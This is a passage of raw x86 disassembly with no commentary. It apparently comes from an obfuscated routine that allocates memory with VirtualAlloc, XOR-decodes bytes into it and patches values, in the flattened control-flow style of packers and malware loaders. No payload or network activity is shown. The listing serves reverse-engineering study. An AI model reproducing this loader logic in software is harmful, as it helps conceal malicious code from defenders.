mov ecx, dword [ebp - 0xf8]
mov dword [ecx], eax
call fcn.0043a280
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
add eax, 0x2b
mov ecx, dword [ebp - 0xf0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x23]
shl ecx, 1
sub eax, 0x4cab686c
add eax, ecx
add eax, 0x4cab686c
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
sub esp, 0x10
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], pe_nt_image_headers32
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
mov ecx, 0x9c7b9e83
mov edx, 0x52f00f83
mov esi, dword [ebp - 0xd8]
mov dword [esi], eax
mov eax, dword [ebp - 0xd8]
cmp dword [eax], 0
cmove ecx, edx
mov dword [ebp - 0x10c], ecx
jmp 0x451f3c
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov dword [ebp - 0x10c], 0x69e4e7a
jmp 0x451f3c
mov eax, 0x9b39ee4c
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0xbc86955
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
cmp dword [ecx + 8], 0
setne dl
and dl, 1
mov byte [ebp - 0xa6], dl
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0x4235066c
mov ecx, 0x3298d40
mov dl, byte [ebp - 0xa6]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov ecx, dword [ebp - 0x108]
mov dword [ecx], eax
mov dword [ebp - 0x10c], 0x69e4e7a
jmp 0x451f3c
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
add eax, 0xc38b1c3
add eax, ecx
sub eax, 0xc38b1c3
mov ecx, dword [ebp - 0xdc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], 0
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0
mov eax, dword [ebp - 0xcc]
mov dword [eax], 0
mov dword [ebp - 0x10c], 0x3c7d5e30
jmp 0x451f3c
mov eax, 0x5e2ac6c7
mov ecx, 0x14502606
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
mov esi, dword [ebp - 0x104]
cmp edx, dword [esi]
cmovb eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
mov esi, eax
sub esi, ecx
mov ecx, eax
sub ecx, edx
add esi, ecx
sub eax, esi
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x1f]
mov edx, dword [ebp - 0xf0]
mov edx, dword [edx]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0xc2863b6f
mov eax, dword [ebp - 0x28]
mov ecx, eax
sub ecx, 0xb4e6c1ea
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x370], ecx
jg 0x44ff52
jmp 0x44ff36
mov eax, dword [ebp - 0x36c]
sub eax, 0x9cbf10d9
mov dword [ebp - 0x374], eax
je 0x450262
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0xc2863b6e
mov dword [ebp - 0x378], eax
jg 0x44ff8a
jmp 0x44ff6e
mov eax, dword [ebp - 0x36c]
sub eax, 0xb4e6c1eb
mov dword [ebp - 0x37c], eax
je 0x4501be
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0x7cce983c
mov dword [ebp - 0x380], eax
jg 0x450182
jmp 0x44ffa6
mov eax, dword [ebp - 0x36c]
sub eax, 0x76f28768
mov dword [ebp - 0x384], eax
jg 0x450166
jmp 0x44ffc2
mov eax, dword [ebp - 0x36c]
sub eax, 0x683f7f33
mov dword [ebp - 0x388], eax
jg 0x45014a
jmp 0x44ffde
mov eax, dword [ebp - 0x36c]
sub eax, 0x27dd511f
mov dword [ebp - 0x38c], eax
jg 0x45012e
jmp 0x44fffa
mov eax, dword [ebp - 0x36c]
sub eax, 0xc666c878
mov dword [ebp - 0x390], eax
jg 0x450032
jmp 0x450016
mov eax, dword [ebp - 0x36c]
sub eax, 0xc2863b6f
mov dword [ebp - 0x394], eax
je 0x4501a3
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0xf2fe59b8
mov dword [ebp - 0x398], eax
jg 0x45006a
jmp 0x45004e
mov eax, dword [ebp - 0x36c]
sub eax, 0xc666c879
mov dword [ebp - 0x39c], eax
je 0x450244
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0x6e743bd
mov dword [ebp - 0x3a0], eax
jg 0x4500a2
jmp 0x450086
mov eax, dword [ebp - 0x36c]
sub eax, 0xf2fe59b9
mov dword [ebp - 0x3a4], eax
je 0x4501eb
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0xf45ce1a
mov dword [ebp - 0x3a8], eax
jg 0x4500da
jmp 0x4500be
mov eax, dword [ebp - 0x36c]
sub eax, 0x6e743be
mov dword [ebp - 0x3ac], eax
je 0x450238
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0xf45ce1b
mov dword [ebp - 0x3b0], eax
je 0x45029b
jmp 0x4500f6
mov eax, dword [ebp - 0x36c]
sub eax, 0x11457920
mov dword [ebp - 0x3b4], eax
je 0x45022c
jmp 0x450112
mov eax, dword [ebp - 0x36c]
sub eax, 0x120aa80b
mov dword [ebp - 0x3b8], eax
je 0x450281
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0x27dd5120
mov dword [ebp - 0x3bc], eax
je 0x450275
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0x683f7f34
mov dword [ebp - 0x3c0], eax
je 0x4501ca
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0x76f28769
mov dword [ebp - 0x3c4], eax
je 0x450212
jmp 0x45019e
mov eax, dword [ebp - 0x36c]
sub eax, 0x7cce983d
mov dword [ebp - 0x3c8], eax
je 0x450206
jmp 0x45019e
jmp 0x450296
mov eax, 0x9cbf10d9
mov ecx, 0xb4e6c1eb
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x1c]
cmovb eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x450296
mov dword [ebp - 0x28], 0x683f7f34
jmp 0x450296
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x18]
sete dl
and dl, 1
mov byte [ebp - 0xd], dl
mov dword [ebp - 0x28], 0xf2fe59b9
jmp 0x450296
mov eax, 0x6e743be
mov ecx, 0x7cce983d
mov dl, byte [ebp - 0xd]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x450296
mov dword [ebp - 0x28], 0x76f28769
jmp 0x450296
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], 0x11457920
jmp 0x450296
mov dword [ebp - 0x28], 0xf45ce1b
jmp 0x450296
mov dword [ebp - 0x28], 0xc666c879
jmp 0x450296
mov eax, 0
mov ecx, dword [ebp - 0x24]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], 0xc2863b6f
jmp 0x450296
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0xf45ce1b
jmp 0x450296
mov dword [ebp - 0x28], 0x683f7f34
jmp 0x450296
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], 0x76f28769
jmp 0x44ff14
mov eax, 0xf18e51f3
mov ecx, 0x6307f761
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0xec]
mov dword [esi], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
mov edx, dword [ebp - 0xb0]
mov edx, dword [edx]
mov esi, eax
sub esi, edx
sub ecx, esi
mov edx, dword [ebp - 0xb8]
mov dword [edx], ecx
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd0]
mov esi, dword [esi]
mov edi, eax
sub edi, esi
sub edx, edi
add edx, 0xaddc98e
add edx, 4
sub edx, 0xaddc98e
sub ecx, 0xff20eaff
sub ecx, edx
add ecx, 0xff20eaff
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd0]
mov esi, dword [esi]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 4
add edx, ecx
sub eax, edx
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
sub eax, 0xa86cb313
add eax, 1
add eax, 0xa86cb313
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov dword [ebp - 0x10c], 0x3c7d5e30
jmp 0x451f3c
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0xe8]
mov edx, dword [edx]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0xc2863b6f
mov eax, dword [ebp - 0x44]
mov ecx, eax
sub ecx, 0xb4e6c1ea
mov dword [ebp - 0x3cc], eax
mov dword [ebp - 0x3d0], ecx
jg 0x4503f9
jmp 0x4503dd
mov eax, dword [ebp - 0x3cc]
sub eax, 0x9cbf10d9
mov dword [ebp - 0x3d4], eax
je 0x450712
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0xc2863b6e
mov dword [ebp - 0x3d8], eax
jg 0x450431
jmp 0x450415
mov eax, dword [ebp - 0x3cc]
sub eax, 0xb4e6c1eb
mov dword [ebp - 0x3dc], eax
je 0x450665
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0x7cce983c
mov dword [ebp - 0x3e0], eax
jg 0x450629
jmp 0x45044d
mov eax, dword [ebp - 0x3cc]
sub eax, 0x76f28768
mov dword [ebp - 0x3e4], eax
jg 0x45060d
jmp 0x450469
mov eax, dword [ebp - 0x3cc]
sub eax, 0x683f7f33
mov dword [ebp - 0x3e8], eax
jg 0x4505f1
jmp 0x450485
mov eax, dword [ebp - 0x3cc]
sub eax, 0x27dd511f
mov dword [ebp - 0x3ec], eax
jg 0x4505d5
jmp 0x4504a1
mov eax, dword [ebp - 0x3cc]
sub eax, 0xc666c878
mov dword [ebp - 0x3f0], eax
jg 0x4504d9
jmp 0x4504bd
mov eax, dword [ebp - 0x3cc]
sub eax, 0xc2863b6f
mov dword [ebp - 0x3f4], eax
je 0x45064a
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0xf2fe59b8
mov dword [ebp - 0x3f8], eax
jg 0x450511
jmp 0x4504f5
mov eax, dword [ebp - 0x3cc]
sub eax, 0xc666c879
mov dword [ebp - 0x3fc], eax
je 0x4506eb
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0x6e743bd
mov dword [ebp - 0x400], eax
jg 0x450549
jmp 0x45052d
mov eax, dword [ebp - 0x3cc]
sub eax, 0xf2fe59b9
mov dword [ebp - 0x404], eax
je 0x450692
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0xf45ce1a
mov dword [ebp - 0x408], eax
jg 0x450581
jmp 0x450565
mov eax, dword [ebp - 0x3cc]
sub eax, 0x6e743be
mov dword [ebp - 0x40c], eax
je 0x4506df
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0xf45ce1b
mov dword [ebp - 0x410], eax
je 0x45074b
jmp 0x45059d
mov eax, dword [ebp - 0x3cc]
sub eax, 0x11457920
mov dword [ebp - 0x414], eax
je 0x4506d3
jmp 0x4505b9
mov eax, dword [ebp - 0x3cc]
sub eax, 0x120aa80b
mov dword [ebp - 0x418], eax
je 0x450731
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0x27dd5120
mov dword [ebp - 0x41c], eax
je 0x450725
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0x683f7f34
mov dword [ebp - 0x420], eax
je 0x450671
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0x76f28769
mov dword [ebp - 0x424], eax
je 0x4506b9
jmp 0x450645
mov eax, dword [ebp - 0x3cc]
sub eax, 0x7cce983d
mov dword [ebp - 0x428], eax
je 0x4506ad
jmp 0x450645
jmp 0x450746
mov eax, 0x9cbf10d9
mov ecx, 0xb4e6c1eb
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x38]
cmovb eax, ecx
mov dword [ebp - 0x44], eax
jmp 0x450746
mov dword [ebp - 0x44], 0x683f7f34
jmp 0x450746
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x34]
sete dl
and dl, 1
mov byte [ebp - 0x29], dl
mov dword [ebp - 0x44], 0xf2fe59b9
jmp 0x450746
mov eax, 0x6e743be
mov ecx, 0x7cce983d
mov dl, byte [ebp - 0x29]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x44], eax
jmp 0x450746
mov dword [ebp - 0x44], 0x76f28769
jmp 0x450746
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x44], 0x11457920
jmp 0x450746
mov dword [ebp - 0x44], 0xf45ce1b
jmp 0x450746
mov dword [ebp - 0x44], 0xc666c879
jmp 0x450746
mov eax, 0
mov ecx, dword [ebp - 0x40]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], 0xc2863b6f
jmp 0x450746
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x44], 0xf45ce1b
jmp 0x450746
mov dword [ebp - 0x44], 0x683f7f34
jmp 0x450746
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x44], 0x76f28769
jmp 0x4503bb
mov eax, 0x5c181bf9
mov ecx, 0x49ca48c6
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0xec]
mov dword [esi], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb0]
mov edx, dword [edx]
mov esi, eax
sub esi, ecx
mov ecx, eax
sub ecx, edx
add esi, ecx
sub eax, esi
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
add eax, 0x248fa38b
add eax, 4
sub eax, 0x248fa38b
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
add eax, 0x96b6e437
add eax, 1
sub eax, 0x96b6e437
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov dword [ebp - 0x10c], 0x3c7d5e30
jmp 0x451f3c
mov dword [ebp - 0x10c], 0x4a180b7
jmp 0x451f3c
mov eax, 0xcf4f640f
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
mov esi, esp
mov dword [ebp - 0x5c], 0x295491e9
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], edx
mov dword [ebp - 0x438], esi
mov eax, dword [ebp - 0x5c]
mov ecx, eax
sub ecx, 0xa6d46e96
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x440], ecx
jg 0x4508a0
jmp 0x450884
mov eax, dword [ebp - 0x43c]
sub eax, 0x854e7bba
mov dword [ebp - 0x444], eax
je 0x450c8d
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0xabbd387f
mov dword [ebp - 0x448], eax
jg 0x4508d8
jmp 0x4508bc
mov eax, dword [ebp - 0x43c]
sub eax, 0xa6d46e97
mov dword [ebp - 0x44c], eax
je 0x450c3e
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0xf40fa962
mov dword [ebp - 0x450], eax
jg 0x450910
jmp 0x4508f4
mov eax, dword [ebp - 0x43c]
sub eax, 0xabbd3880
mov dword [ebp - 0x454], eax
je 0x450bcc
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0x1e26d0d8
mov dword [ebp - 0x458], eax
jg 0x450948
jmp 0x45092c
mov eax, dword [ebp - 0x43c]
sub eax, 0xf40fa963
mov dword [ebp - 0x45c], eax
je 0x450b35
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0x295491e8
mov dword [ebp - 0x460], eax
jg 0x450980
jmp 0x450964
mov eax, dword [ebp - 0x43c]
sub eax, 0x1e26d0d9
mov dword [ebp - 0x464], eax
je 0x450c12
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0x77cfc42c
mov dword [ebp - 0x468], eax
jg 0x450b08
jmp 0x45099c
mov eax, dword [ebp - 0x43c]
sub eax, 0x75cd3896
mov dword [ebp - 0x46c], eax
jg 0x450aec
jmp 0x4509b8
mov eax, dword [ebp - 0x43c]
sub eax, 0x695a4e32
mov dword [ebp - 0x470], eax
jg 0x450ad0
jmp 0x4509d4
mov eax, dword [ebp - 0x43c]
sub eax, 0x626ab5e6
mov dword [ebp - 0x474], eax
jg 0x450ab4
jmp 0x4509f0
mov eax, dword [ebp - 0x43c]
sub eax, 0x5f33ada9
mov dword [ebp - 0x478], eax
jg 0x450a98
jmp 0x450a0c
mov eax, dword [ebp - 0x43c]
sub eax, 0x5476a276
mov dword [ebp - 0x47c], eax
jg 0x450a7c
jmp 0x450a28
mov eax, dword [ebp - 0x43c]
sub eax, 0x295491e9
mov dword [ebp - 0x480], eax
je 0x450b29
jmp 0x450a44
mov eax, dword [ebp - 0x43c]
sub eax, 0x2ae7101b
mov dword [ebp - 0x484], eax
je 0x450c6c
jmp 0x450a60
mov eax, dword [ebp - 0x43c]
sub eax, 0x4a2889d0
mov dword [ebp - 0x488], eax
je 0x450c4a
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0x5476a277
mov dword [ebp - 0x48c], eax
je 0x450d2f
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0x5f33adaa
mov dword [ebp - 0x490], eax
je 0x450c32
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0x626ab5e7
mov dword [ebp - 0x494], eax
je 0x450bc0
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0x695a4e33
mov dword [ebp - 0x498], eax
je 0x450c78
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0x75cd3897
mov dword [ebp - 0x49c], eax
je 0x450d5a
jmp 0x450b24
mov eax, dword [ebp - 0x43c]
sub eax, 0x77cfc42d
mov dword [ebp - 0x4a0], eax
je 0x450beb
jmp 0x450b24
jmp 0x450d55
mov dword [ebp - 0x5c], 0xf40fa963
jmp 0x450d55
mov eax, 4
mov dword [ebp - 0x4a4], eax
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x4a4]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x4a4]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4a4]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4a4]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x42c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x430]
mov dword [eax], edx
mov eax, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x434]
mov dword [eax], esi
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [ebp - 0x5c], 0x626ab5e7
jmp 0x450d55
mov dword [ebp - 0x5c], 0xabbd3880
jmp 0x450d55
mov eax, 0x695a4e33
mov ecx, 0x77cfc42d
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov esi, dword [ebp - 0x50]
cmp edx, dword [esi]
cmovb eax, ecx
mov dword [ebp - 0x5c], eax
jmp 0x450d55
mov eax, 0x5f33adaa
mov ecx, 0x1e26d0d9
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov esi, dword [ebp - 0x4c]
mov esi, dword [esi]
mov edx, dword [esi + edx*8]
mov esi, dword [ebp - 0x54]
cmp edx, dword [esi]
cmove eax, ecx
mov dword [ebp - 0x5c], eax
jmp 0x450d55
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
shl eax, 3
add ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov dword [ebp - 0x5c], 0x75cd3897
jmp 0x450d55
mov dword [ebp - 0x5c], 0xa6d46e97
jmp 0x450d55
mov dword [ebp - 0x5c], 0x4a2889d0
jmp 0x450d55
mov eax, 0
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x48]
mov dword [eax], ecx
mov dword [ebp - 0x5c], 0x2ae7101b
jmp 0x450d55
mov dword [ebp - 0x5c], 0xabbd3880
jmp 0x450d55
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov dword [ebp - 0x5c], 0x75cd3897
jmp 0x450d55
mov eax, 4
mov dword [ebp - 0x4a8], eax
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4a8]
mov dword [ebp - 0x4ac], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4a8]
mov dword [ebp - 0x4b0], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4a8]
mov dword [ebp - 0x4b4], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4a8]
mov dword [ebp - 0x4b8], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4b0]
mov edx, dword [ebp - 0x42c]
mov dword [ecx], edx
mov esi, dword [ebp - 0x4b4]
mov edi, dword [ebp - 0x430]
mov dword [esi], edi
mov ebx, dword [ebp - 0x4b8]
mov ecx, dword [ebp - 0x434]
mov dword [ebx], ecx
mov dword [eax], 0
mov dword [ebp - 0x5c], 0xf40fa963
jmp 0x450d55
mov eax, 0
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov dword [ebp - 0x5c], 0x4a2889d0
jmp 0x450862
mov eax, 0x2c20b9ab
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x438]
mov esp, edx
mov esi, dword [ebp - 0xe4]
mov dword [esi], ecx
cmp ecx, 0
setne bl
and bl, 1
mov byte [ebp - 0xa5], bl
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0xf7f6cc60
mov ecx, 0x9befff70
mov dl, byte [ebp - 0xa5]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0
mov dword [ebp - 0x10c], 0xea8befe0
jmp 0x451f3c
mov eax, 0x7446319e
mov ecx, 0xabb342c3
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe4]
mov esi, dword [esi]
cmp edx, dword [esi + 4]
cmovb eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0x877e353d
mov ecx, 0x383f2b30
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xdc]
mov esi, dword [esi]
movzx edx, byte [esi + edx]
mov esi, dword [ebp - 0xcc]
mov esi, dword [esi]
mov edi, esi
sub edi, 0xe408047b
add edi, 1
add edi, 0xe408047b
mov ebx, dword [ebp - 0xcc]
mov dword [ebx], edi
mov edi, dword [ebp - 0xf8]
mov edi, dword [edi]
movzx esi, byte [edi + esi + 1]
mov edi, edx
xor edi, 0xffffffff
mov ebx, esi
and ebx, edi
xor esi, 0xffffffff
and edx, esi
or ebx, edx
mov dl, bl
mov esi, dword [ebp - 0xd0]
mov esi, dword [esi]
mov edi, dword [ebp - 0xd8]
mov edi, dword [edi]
mov byte [edi + esi], dl
mov esi, dword [ebp - 0xcc]
mov esi, dword [esi]
mov edi, dword [ebp - 0xf8]
mov edi, dword [edi]
movzx edi, byte [edi]
cmp esi, edi
cmove eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0xfc023fe6
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0x38062d9
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], 0
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov dword [ebp - 0x10c], 0x877e353d
jmp 0x451f3c
mov dword [ebp - 0x10c], 0x8fbbd010
jmp 0x451f3c
mov eax, 0x6cbe925b
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0xfd352168
mov ecx, 0
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, ecx
sub esi, edx
mov edx, ecx
sub edx, 1
add esi, edx
mov edx, ecx
sub edx, esi
mov esi, dword [ebp - 0xc8]
mov dword [esi], edx
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
sub ecx, 1
sub edx, ecx
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], edx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov dword [ebp - 0x10c], 0xea8befe0
jmp 0x451f3c
mov eax, 0x6a28db66
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0x855a5340
mov ecx, 0
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd4]
mov esi, dword [esi]
mov edi, ecx
sub edi, esi
mov esi, ecx
sub esi, edx
add edi, esi
sub ecx, edi
mov edx, dword [ebp - 0xd4]
mov dword [edx], ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov dword [ebp - 0x10c], 0x336c52fc
jmp 0x451f3c
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
mov dl, byte [ecx + eax]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx]
mov byte [ecx + eax], dl
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
sub eax, 0x7f92e384
add eax, 1
add eax, 0x7f92e384
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov dword [ebp - 0x10c], 0x336c52fc
jmp 0x451f3c
mov dword [ebp - 0x10c], 0x3c7d5e30
jmp 0x451f3c
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
